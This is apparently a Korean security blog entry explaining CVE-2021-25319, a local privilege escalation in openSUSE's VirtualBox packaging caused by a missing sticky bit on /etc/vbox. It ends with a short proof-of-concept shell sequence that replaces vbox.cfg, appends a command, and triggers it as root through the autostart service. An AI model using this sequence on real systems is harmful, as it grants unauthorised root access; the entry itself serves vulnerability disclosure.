[하루한줄] CVE-2021-25319: VirtualBox의 권한상승 취약점

URL

virtualbox: CVE-2021-25319: missing sticky bit in openSUSE packaging for /etc/box allows local root exploit for members of vboxusers group

Target

  • VirtualBox for openSUSE

Explain

oracle사의 오픈소스 가상 머신 소프트웨어인 VirtualBox openSUSE 패키지 배포판에서 특정 계정 그룹의 유저가 root로 권한 상승이 가능한 취약점이 발견되었습니다.

vboxusers group은 VirtualBox 자동시작을 위해 도입되었으며 VirtualBox의 여러 구성 파일이 포함된 /etc/vbox 디렉터리에 쓰기 권한이 부여된 유저 그룹입니다. 그러나 /etc/vbox 디렉터리에 sticky bit 설정이 누락되어 있어 vboxusers에 속한 모든 유저가 해당 디렉터리의 파일을 임의로 수정할 수 있습니다.

sticky bit가 설정된 디렉터리에는 누구나 파일을 생성할 수 있지만 삭제 및 수정은 생성한 유저와 root만 가능합니다.

위 취약점을 악용하면 vboxautostart.sh, vboxdrv.shvboxweb-service.sh와 같이 root 권한의 VirtualBox bash script에서 사용되는 /etc/vbox/vbox.cfg 파일을 수정할 수 있어 root 권한으로 현재 작업 디렉터리(CWD) 내의 제한된 명령 및 파일 실행이 가능합니다. PoC는 설명과 함께 아래에서 확인할 수 있습니다.

//vboxusers 그룹 nobody 생성
root# su -g vboxusers nobody
nobody$ cd /etc/vbox
nobody$ cp vbox.cfg vbox.cfg.new
// nobody에서 기존 vbox.cfg 삭제후 임의 명령이 포함된 vbox.cfg로 대체
nobody$ rm -f vbox.cfg
nobody$ mv vbox.cfg.new vbox.cfg
nobody$ echo "touch /root/evil" >>vbox.cfg
nobody$ exit
// vboxautostart 스크립트가 실행되면 트리거
root# systemctl start vboxautostart.service
root# ls -lh /root/evil
-rw-r--r-- 1 root root 0  2. Mär 12:14 /root/evil